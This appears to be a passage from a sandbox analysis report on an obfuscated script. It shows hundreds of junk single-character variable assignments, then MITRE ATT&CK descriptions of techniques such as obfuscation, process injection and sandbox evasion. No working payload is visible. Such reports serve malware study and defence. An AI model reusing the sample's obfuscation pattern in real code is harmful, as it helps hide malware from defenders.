443	xerfaqjdv = "w";
444	xerfaqjdv = "G";
445	xerfaqjdv = "k";
446	xerfaqjdv = "S";
447	xerfaqjdv = "O";
448	xerfaqjdv = "t";
449	xerfaqjdv = "z";
450	xerfaqjdv = "j";
451	xerfaqjdv = "h";
452	xerfaqjdv = "Y";
453	xerfaqjdv = "e";
454	xerfaqjdv = "R";
455	xerfaqjdv = "U";
456	xerfaqjdv = "f";
457	xerfaqjdv = "Y";
458	xerfaqjdv = "s";
459	xerfaqjdv = "p";
460	xerfaqjdv = "r";
461	xerfaqjdv = "z";
462	xerfaqjdv = "p";
463	xerfaqjdv = "B";
464	xerfaqjdv = "K";
465	xerfaqjdv = "D";
466	xerfaqjdv = "d";
467	xerfaqjdv = "h";
468	xerfaqjdv = "P";
469	xerfaqjdv = "w";
470	xerfaqjdv = "w";
471	xerfaqjdv = "H";
472	xerfaqjdv = "H";
473	xerfaqjdv = "U";
474	xerfaqjdv = "f";
475	xerfaqjdv = "q";
476	xerfaqjdv = "W";
477	xerfaqjdv = "F";
478	xerfaqjdv = "x";
479	xerfaqjdv = "I";
480	xerfaqjdv = "K";
481	funrkyeyv = "V";
482	funrkyeyv = "n";
483	funrkyeyv = "p";
484	funrkyeyv = "G";
485	funrkyeyv = "7";
486	ykhvmw = "P";
487	ykhvmw = "o";
488	ykhvmw = "3";
489	mtkhpjydx = "o";
490	mtkhpjydx = "k";
491	mtkhpjydx = "F";
492	mtkhpjydx = "S";
493	mtkhpjydx = "l";
494	mtkhpjydx = "t";
495	mtkhpjydx = "a";
496	mtkhpjydx = "E";
497	mtkhpjydx = "e";
498	mtkhpjydx = "Q";
499	mtkhpjydx = "J";
500	mtkhpjydx = "n";
501	mtkhpjydx = "A";
502	mtkhpjydx = "v";
503	mtkhpjydx = "V";
504	mtkhpjydx = "k";
505	mtkhpjydx = "p";
506	mtkhpjydx = "J";
507	mtkhpjydx = "Y";
508	mtkhpjydx = "n";
509	mtkhpjydx = "c";
510	mtkhpjydx = "D";
511	mtkhpjydx = "A";
512	mtkhpjydx = "k";
513	mtkhpjydx = "X";
514	mtkhpjydx = "P";
515	upunbrhup = "g";
516	upunbrhup = "M";
517	upunbrhup = "G";
518	upunbrhup = "R";
519	upunbrhup = "A";
520	upunbrhup = "w";
521	upunbrhup = "h";
522	upunbrhup = "x";
523	upunbrhup = "b";
524	upunbrhup = "l";
525	upunbrhup = "E";
526	upunbrhup = "g";
527	upunbrhup = "z";
528	upunbrhup = "m";
529	upunbrhup = "M";
530	upunbrhup = "L";
531	upunbrhup = "N";
532	upunbrhup = "o";
533	upunbrhup = "k";
534	upunbrhup = "r";
535	upunbrhup = "U";
536	upunbrhup = "K";
537	upunbrhup = "N";
538	upunbrhup = "C";
539	upunbrhup = "r";
540	upunbrhup = "C";
541	upunbrhup = "H";
542	upunbrhup = "g";
543	upunbrhup = "Z";
544	upunbrhup = "Z";
545	upunbrhup = "h";
546	upunbrhup = "J";
547	upunbrhup = "j";
548	upunbrhup = "M";
549	upunbrhup = "K";
550	upunbrhup = "Q";
551	upunbrhup = "T";
552	upunbrhup = "e";
553	upunbrhup = "o";
554	upunbrhup = "-";
555	ouspovnnw = "T";
556	ouspovnnw = "j";
557	ouspovnnw = "L";
558	ouspovnnw = "S";
559	ouspovnnw = "r";
560	ouspovnnw = "r";
561	ouspovnnw = "B";
562	ouspovnnw = "d";
563	ouspovnnw = "c";
564	ouspovnnw = "I";
565	ouspovnnw = "R";
566	ouspovnnw = "i";
567	ouspovnnw = "r";
568	ouspovnnw = "r";
569	ouspovnnw = "Y";
570	ouspovnnw = "Q";
571	ouspovnnw = "u";
572	ouspovnnw = "f";
573	ouspovnnw = "s";
574	ouspovnnw = "t";
575	ouspovnnw = "t";
576	ouspovnnw = "e";
577	ouspovnnw = "I";
578	ouspovnnw = "O";
579	ouspovnnw = "F";
580	ouspovnnw = "F";
581	ouspovnnw = "n";
582	ouspovnnw = "H";
583	ouspovnnw = "o";
584	ouspovnnw = "g";
585	ouspovnnw = "g";
586	ouspovnnw = "o";
587	ouspovnnw = "C";
588	ouspovnnw = "h";
589	ouspovnnw = "c";
590	ydskb = "S";
591	ydskb = "O";
592	ydskb = "A";
593	ydskb = "C";
594	ydskb = "V";
595	ydskb = "Y";
596	ydskb = "f";
597	ydskb = "j";
598	ydskb = "H";
599	ydskb = "o";
600	ydskb = "C";
601	ydskb = "P";
602	ydskb = "T";
603	ydskb = "P";
604	ydskb = "y";
605	ydskb = "Q";
606	ydskb = "J";
607	ydskb = "j";
608	ydskb = "I";
609	ydskb = "C";
610	ydskb = "u";
611	ydskb = "z";
612	ydskb = "g";
613	ydskb = "i";
614	ydskb = "g";
615	ydskb = "g";
616	ydskb = "C";
617	ydskb = "L";
618	ydskb = "t";
619	ydskb = "F";
620	ydskb = "A";
621	ydskb = "E";
622	ydskb = "v";
623	ydskb = "o";
624	ydskb = "h";
625	nxrwv = "Y";
626	nxrwv = "f";
627	nxrwv = "u";
628	nxrwv = "p";
629	nxrwv = "Y";
630	nxrwv = "P";
631	nxrwv = "m";
632	nxrwv = "q";
633	nxrwv = "A";
634	nxrwv = "g";
635	nxrwv = "U";
636	nxrwv = "s";
637	nxrwv = "A";
638	nxrwv = "A";
639	nxrwv = "S";
640	nxrwv = "X";
641	nxrwv = "N";
642	nxrwv = "I";
643	awhaldbby = "T";
644	awhaldbby = "J";
645	awhaldbby = "f";
646	awhaldbby = "H";
647	awhaldbby = "J";
648	awhaldbby = "b";
649	awhaldbby = "N";
650	awhaldbby = "P";
651	awhaldbby = "I";
652	awhaldbby = "G";
653	awhaldbby = "k";
654	awhaldbby = "v";
655	awhaldbby = "C";
656	awhaldbby = "Q";
657	awhaldbby = "B";
658	awhaldbby = "K";
659	awhaldbby = "Q";
660	awhaldbby = "E";
661	awhaldbby = "E";
662	awhaldbby = "W";
663	awhaldbby = "J";
664	awhaldbby = "i";
665	awhaldbby = "O";
666	awhaldbby = "K";
667	awhaldbby = "@";
668	gmmgwrt = "R";
669	gmmgwrt = "G";
670	gmmgwrt = "J";
671	gmmgwrt = "Z";
672	gmmgwrt = "k";
673	gmmgwrt = "O";
674	gmmgwrt = "R";
675	gmmgwrt = "s";
676	gmmgwrt = "y";
677	gmmgwrt = "d";
678	gmmgwrt = "k";
679	gmmgwrt = "X";
680	gmmgwrt = "X";
681	gmmgwrt = "F";
682	cmsqucabb = "O";
683	cmsqucabb = "H";
684	cmsqucabb = "l";
685	cmsqucabb = "n";
686	cmsqucabb = "s";
687	cmsqucabb = "H";
688	cmsqucabb = "D";
689	cmsqucabb = "j";
690	cmsqucabb = "D";
691	cmsqucabb = "S";
692	cmsqucabb = "I";
693	cmsqucabb = "h";
694	cmsqucabb = "v";
695	cmsqucabb = "s";
696	cmsqucabb = "q";
697	cmsqucabb = "i";
698	cmsqucabb = "a";
699	cmsqucabb = "G";
700	cmsqucabb = "i";
701	cmsqucabb = "L";
702	cmsqucabb = "x";
703	cmsqucabb = "_";
704	yzvewjw = "H";
705	yzvewjw = "p";
706	yzvewjw = "b";
707	yzvewjw = "x";
708	yzvewjw = "t";
709	yzvewjw = "O";
710	yzvewjw = "l";
711	yzvewjw = "R";
712	yzvewjw = "O";
713	yzvewjw = "Z";
714	yzvewjw = "v";
715	yzvewjw = "Q";
716	yzvewjw = "u";
717	yzvewjw = "l";
718	yzvewjw = "M";
719	yzvewjw = "t";
720	yzvewjw = "D";
721	yzvewjw = "K";
722	yzvewjw = "u";
723	yzvewjw = "G";
724	yzvewjw = "p";
725	yzvewjw = "e";
726	yzvewjw = "s";
727	yzvewjw = "Q";
728	yzvewjw = "Y";
729	yzvewjw = "O";
730	yzvewjw = "V";
731	yzvewjw = "g";
732	yzvewjw = "o";
733	yzvewjw = "Q";
734	yzvewjw = "K";
735	yzvewjw = "S";
736	yzvewjw = "U";
737	yzvewjw = "H";
738	bzhqtivtv = "L";
739	bzhqtivtv = "L";
740	bzhqtivtv = "f";
741	bzhqtivtv = "R";
742	bzhqtivtv = "G";
743	bzhqtivtv = "c";
744	bzhqtivtv = "E";
745	bzhqtivtv = "T";
746	xuane = "Q";
747	xuane = "B";
748	xuane = "s";
749	xuane = "L";
750	xuane = "C";
751	xuane = "z";
752	xuane = "N";
753	xuane = "E";
754	xuane = "a";
755	xuane = "Z";
756	xuane = "I";
757	xuane = "z";
758	xuane = "h";
759	xuane = "j";
760	xuane = "o";
761	xuane = "C";
762	xuane = "k";
763	xuane = "N";
764	xuane = "y";
765	xuane = "x";
766	xuane = "P";
767	xuane = "E";
768	xuane = "x";
769	xuane = "H";
770	xuane = "u";
771	xuane = "r";
772	xuane = "g";
773	xuane = "x";
774	xuane = "P";
775	xuane = "E";
776	xuane = "c";
777	xuane = "u";
778	xuane = "e";
779	xuane = "m";
780	xuane = "L";
781	xuane = "B";
782	xuane = "t";
783	xuane = "r";
784	xuane = "Y";
785	xuane = "G";
786	xuane = "l";
787	aefiphfwh = "L";
788	aefiphfwh = "U";
789	aefiphfwh = "a";
790	aefiphfwh = "D";
791	aefiphfwh = "v";
792	aefiphfwh = "r";
793	aefiphfwh = "g";
794	fejddlom = "Y";
795	fejddlom = "Y";
796	fejddlom = "Z";
797	fejddlom = "I";
798	fejddlom = "Z";
799	fejddlom = "E";
800	fejddlom = "B";
801	fejddlom = "i";
802	fejddlom = "o";
803	fejddlom = "X";
804	fejddlom = "X";
805	fejddlom = "O";
806	fejddlom = "t";
807	fejddlom = "v";
808	fejddlom = "q";
809	fejddlom = "r";
810	fejddlom = "R";
811	fejddlom = "t";
812	fejddlom = "N";
813	fejddlom = "t";
814	rmwzvsftc = "w";
815	rmwzvsftc = "M";
816	rmwzvsftc = "i";
817	rmwzvsftc = "K";
818	rmwzvsftc = "g";
819	rmwzvsftc = "v";
820	rmwzvsftc = "L";
821	rmwzvsftc = "q";
822	rmwzvsftc = "O";
823	rmwzvsftc = "O";
824	rmwzvsftc = "I";
825	rmwzvsftc = "r";
826	rmwzvsftc = "p";
827	rmwzvsftc = "b";
828	rmwzvsftc = "R";
829	rmwzvsftc = "Y";
830	rmwzvsftc = "i";
831	rmwzvsftc = "s";
832	rmwzvsftc = "X";
833	rmwzvsftc = "N";
834	rmwzvsftc = "C";
835	rmwzvsftc = "j";
836	rmwzvsftc = "p";
837	rmwzvsftc = "y";
838	rmwzvsftc = "N";
839	rmwzvsftc = "m";
840	rmwzvsftc = "I";
841	rmwzvsftc = "5";
842	jnpbhuz = "s";
843	jnpbhuz = "k";
844	jnpbhuz = "j";
845	jnpbhuz = "C";
846	jnpbhuz = "f";
847	jnpbhuz = "N";
848	jnpbhuz = "J";
849	jnpbhuz = "p";
850	jnpbhuz = "P";
851	jnpbhuz = "A";
852	jnpbhuz = "y";
853	jnpbhuz = "F";
854	jnpbhuz = "s";
855	jnpbhuz = "x";
856	jnpbhuz = "h";
857	jnpbhuz = "O";
858	jnpbhuz = "t";
859	jnpbhuz = "k";
860	jnpbhuz = "I";
861	jnpbhuz = "f";
862	jnpbhuz = "g";
863	jnpbhuz = "k";
864	jnpbhuz = "I";
865	jnpbhuz = "a";
866	jnpbhuz = "h";
867	jnpbhuz = "n";
868	jnpbhuz = " ";
869	cjvjoipka = "P";
870	cjvjoipka = "y";
871	cjvjoipka = "v";
872	cjvjoipka = "n";
873	cjvjoipka = "U";
874	cjvjoipka = "k";
875	cjvjoipka = "S";
876	cjvjoipka = "i";
877	cjvjoipka = "c";
878	cjvjoipka = "p";
879	cjvjoipka = "g";
880	cjvjoipka = "k";
881	cjvjoipka = "W";
882	cjvjoipka = "G";
883	cjvjoipka = "D";
884	cjvjoipka = "k";
885	cjvjoipka = "x";
886	cjvjoipka = "m";
887	cjvjoipka = "\"";
888	vqixlubf = "Q";
889	vqixlubf = "Q";
890	vqixlubf = "s";
891	lnrygircs = "u";
892	lnrygircs = "x";
893	lnrygircs = "a";
894	lnrygircs = "u";
895	lnrygircs = "b";
896	lnrygircs = "t";
897	lnrygircs = "a";
898	maxzua = "V";
899	maxzua = "v";
900	maxzua = "c";
901	maxzua = "W";
902	maxzua = "a";
903	maxzua = "m";
904	maxzua = "Y";
905	maxzua = "C";
906	maxzua = "k";
907	maxzua = "H";
908	maxzua = "U";
909	maxzua = "a";
910	maxzua = "u";
911	maxzua = "i";
912	maxzua = "L";
913	maxzua = "Y";
914	maxzua = "B";
915	maxzua = "W";
916	maxzua = "Q";
917	maxzua = "x";
918	maxzua = "V";
919	maxzua = "u";
920	maxzua = "O";
921	maxzua = "C";
922	maxzua = "a";
923	maxzua = "t";
924	maxzua = "p";
925	maxzua = "R";
926	maxzua = "H";
927	maxzua = "z";
928	maxzua = "z";
929	maxzua = "b";
930	maxzua = "B";
931	maxzua = "g";
932	maxzua = "p";
933	hcapanrz = "U";
934	hcapanrz = "O";
935	hcapanrz = "z";
936	hcapanrz = "l";
937	hcapanrz = "W";
938	hcapanrz = "I";
939	hcapanrz = "n";
940	hcapanrz = "t";
941	hcapanrz = "x";
942	hcapanrz = "L";
943	hcapanrz = "Q";
944	hcapanrz = "b";
945	hcapanrz = "l";
946	hcapanrz = "u";
947	hcapanrz = "Z";
948	hcapanrz = "X";
949	hcapanrz = "z";
950	hcapanrz = "O";
951	hcapanrz = "Y";
952	hcapanrz = "S";
953	hcapanrz = "S";
954	hcapanrz = "H";
955	hcapanrz = "K";
956	hcapanrz = "W";
957	hcapanrz = "P";
958	hcapanrz = "L";
959	hcapanrz = "c";
960	hcapanrz = "K";
961	hcapanrz = "Z";
962	hcapanrz = "d";
963	hcapanrz = "R";
964	hcapanrz = "v";
965	vdlqksaj = "Q";
966	vdlqksaj = "F";
967	vdlqksaj = "o";
968	vdlqksaj = "A";
969	vdlqksaj = "k";
970	vdlqksaj = "r";
971	vdlqksaj = "T";
972	vdlqksaj = "k";
973	vdlqksaj = "Z";
974	vdlqksaj = "d";
975	vdlqksaj = "h";
976	vdlqksaj = "b";
977	vdlqksaj = "w";
978	vdlqksaj = "N";
979	vdlqksaj = "k";
980	vdlqksaj = "O";
981	vdlqksaj = "Y";
982	jkoxj = "S";
983	jkoxj = "j";
984	jkoxj = "V";
985	jkoxj = "a";
986	jkoxj = "q";
987	jkoxj = "I";
988	jkoxj = "y";
989	jkoxj = "F";
990	jkoxj = "q";
991	jkoxj = "f";
992	jkoxj = "v";
993	jkoxj = "F";
994	jkoxj = "S";
995	jkoxj = "U";
996	jkoxj = "y";
997	jkoxj = "S";
998	jkoxj = "f";
999	jkoxj = "g";
1000	jkoxj = "E";
1001	jkoxj = "\\";
1002	tzejfa = "V";
1003	tzejfa = "d";
1004	tzejfa = "T";
1005	tzejfa = "a";
1006	tzejfa = "r";
1007	tzejfa = "r";
1008	tzejfa = "F";
1009	tzejfa = "I";
1010	tzejfa = "e";
1011	tzejfa = "O";
1012	tzejfa = "U";
1013	tzejfa = "k";
1014	tzejfa = "D";
1015	tzejfa = "k";
1016	tzejfa = "V";
1017	tzejfa = "M";
1018	tzejfa = "k";
1019	tzejfa = "I";
1020	tzejfa = "Z";
1021	tzejfa = "T";
1022	tzejfa = "Y";
1023	tzejfa = "n";
1024	tzejfa = "A";
1025	tzejfa = "N";
1026	tzejfa = "s";
1027	tzejfa = "T";
1028	tzejfa = "r";
1029	mgtsiuuzb = "d";
1030	mgtsiuuzb = "i";
1031	mgtsiuuzb = "c";
1032	mgtsiuuzb = "n";
1033	mgtsiuuzb = "C";
1034	mgtsiuuzb = "P";
1035	mgtsiuuzb = "y";
1036	mgtsiuuzb = "h";
1037	mgtsiuuzb = "a";
1038	mgtsiuuzb = "q";
1039	mgtsiuuzb = "n";
1040	mgtsiuuzb = "w";
1041	mgtsiuuzb = "Q";
1042	mgtsiuuzb = "T";
1043	mgtsiuuzb = "L";
1044	mgtsiuuzb = "c";
1045	mgtsiuuzb = "y";
1046	mgtsiuuzb = "d";
1047	mgtsiuuzb = "y";
1048	mgtsiuuzb = "g";
1049	mgtsiuuzb = "W";
1050	mgtsiuuzb = "J";
1051	mgtsiuuzb = "Z";
1052	mgtsiuuzb = "e";
1053	mgtsiuuzb = "U";
1054	mgtsiuuzb = "Z";
1055	mgtsiuuzb = "J";
1056	mgtsiuuzb = "L";
1057	mgtsiuuzb = "h";
1058	mgtsiuuzb = "4";
1059	nvnjqo = "h";
1060	nvnjqo = "M";
1061	nvnjqo = "R";
1062	nvnjqo = "r";
1063	nvnjqo = "e";
1064	nvnjqo = "m";
1065	nvnjqo = "j";
1066	nvnjqo = "H";
1067	nvnjqo = "d";
1068	nvnjqo = "J";
1069	nvnjqo = "z";
1070	nvnjqo = "z";
1071	nvnjqo = "D";
1072	nvnjqo = "f";
1073	nvnjqo = "l";
1074	nvnjqo = "W";
1075	nvnjqo = "l";
1076	nvnjqo = "T";
1077	nvnjqo = "i";
1078	nvnjqo = "e";
1079	nvnjqo = "k";
1080	nvnjqo = "G";
1081	nvnjqo = "U";
1082	nvnjqo = "q";
1083	suqabx = "l";
1084	suqabx = "S";
1085	suqabx = "n";
1086	suqabx = "Q";
1087	suqabx = "L";
1088	suqabx = "V";
1089	suqabx = "n";
1090	suqabx = "I";
1091	suqabx = "x";
1092	suqabx = "c";
1093	suqabx = "Y";
1094	suqabx = "A";
1095	suqabx = "Y";
1096	suqabx = "G";
1097	suqabx = "6";
1098	ohrgmforf = "b";
1099	ohrgmforf = "v";
1100	ohrgmforf = "x";
1101	ohrgmforf = "J";
1102	ohrgmforf = "t";
1103	ohrgmforf = "f";
1104	ohrgmforf = "H";
1105	ohrgmforf = "l";
1106	ohrgmforf = "b";
1107	ohrgmforf = "l";
1108	ohrgmforf = "B";
1109	ohrgmforf = "o";
1110	ohrgmforf = "j";
1111	ohrgmforf = "u";
1112	ohrgmforf = "U";
1113	ohrgmforf = "N";
1114	ohrgmforf = "C";
1115	ohrgmforf = "D";
1116	ohrgmforf = "X";
1117	ohrgmforf = "m";
1118	ohrgmforf = "u";
1119	ohrgmforf = "E";
1120	hotgbpan = "D";
1121	hotgbpan = "U";
1122	hotgbpan = "u";
1123	hotgbpan = "F";
1124	hotgbpan = "S";
1125	hotgbpan = "T";
1126	hotgbpan = "q";
1127	hotgbpan = "V";
1128	hotgbpan = "n";
1129	hotgbpan = "y";
1130	hotgbpan = "X";
1131	hotgbpan = "a";
1132	hotgbpan = "b";
1133	hotgbpan = "a";
1134	hotgbpan = "Y";
1135	hotgbpan = "s";
1136	hotgbpan = "d";
1137	hotgbpan = "&";
1138	fgfye = "v";
1139	fgfye = "S";
1140	fgfye = "d";
1141	fgfye = "C";
1142	fgfye = "B";
1143	fgfye = "f";
1144	fgfye = "n";
1145	fgfye = "l";
1146	fgfye = "i";
1147	fgfye = "H";
1148	fgfye = "d";
1149	fgfye = "L";
1150	fgfye = "z";
1151	fgfye = "n";
1152	fgfye = "W";
1153	fgfye = "Y";
1154	fgfye = "c";
1155	fgfye = "Q";
1156	fgfye = "X";
1157	fgfye = "H";
1158	fgfye = "b";
1159	fgfye = "F";
1160	fgfye = "v";
1161	fgfye = "H";
1162	fgfye = "t";
1163	fgfye = "r";
1164	fgfye = "W";
1165	fgfye = "d";
1166	fgfye = "C";
1167	fgfye = "U";
1168	fgfye = "k";
1169	fgfye = "X";
1170	fgfye = "M";
1171	fgfye = "E";
1172	fgfye = "I";
1173	fgfye = "1";
1174	bwnnstxjp = "Y";
1175	bwnnstxjp = "B";
1176	bwnnstxjp = "C";
1177	bwnnstxjp = "w";
1178	bwnnstxjp = "t";
1179	bwnnstxjp = "D";
1180	bwnnstxjp = "l";
1181	bwnnstxjp = "O";
1182	bwnnstxjp = "w";
1183	bwnnstxjp = "Z";
1184	bwnnstxjp = "C";
1185	bwnnstxjp = "p";
1186	bwnnstxjp = "m";
1187	bwnnstxjp = "/";
1188	dxuthmqok = "M";
1189	dxuthmqok = "I";
1190	dxuthmqok = "l";
1191	dxuthmqok = "T";
1192	dxuthmqok = "q";
1193	dxuthmqok = "j";
1194	epafsl = "j";
1195	epafsl = "k";
1196	epafsl = "o";
1197	epafsl = "S";
1198	hoytxba = "m";
1199	hoytxba = "x";
1200	usbzc = "d";
1201	usbzc = "K";
1202	usbzc = "W";
1203	usbzc = "B";
1204	usbzc = "Y";
1205	usbzc = "e";
1206	usbzc = "E";
1207	usbzc = "N";
1208	usbzc = "i";
1209	gjixg = "e";
1210	gjixg = "O";
1211	gjixg = "l";
1212	gjixg = "Q";
1213	rmhispc = "F";
1214	rmhispc = "D";
1215	rmhispc = "j";
1216	rmhispc = "r";
1217	rmhispc = "E";
1218	rmhispc = "B";
1219	rmhispc = "p";
1220	rmhispc = "p";
1221	rmhispc = "s";
1222	rmhispc = "s";
1223	rmhispc = "s";
1224	rmhispc = "A";
1225	rmhispc = "z";
1226	rmhispc = "h";
1227	rmhispc = "y";
1228	rmhispc = "E";
1229	rmhispc = "f";
1230	rmhispc = "q";
1231	rmhispc = "g";
1232	rmhispc = "J";
1233	rmhispc = "R";
1234	rmhispc = "r";
1235	rmhispc = "w";
1236	rmhispc = "B";
1237	rmhispc = "U";
1238	rmhispc = "f";
1239	orxrltwmc ( );	orxrltwmc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
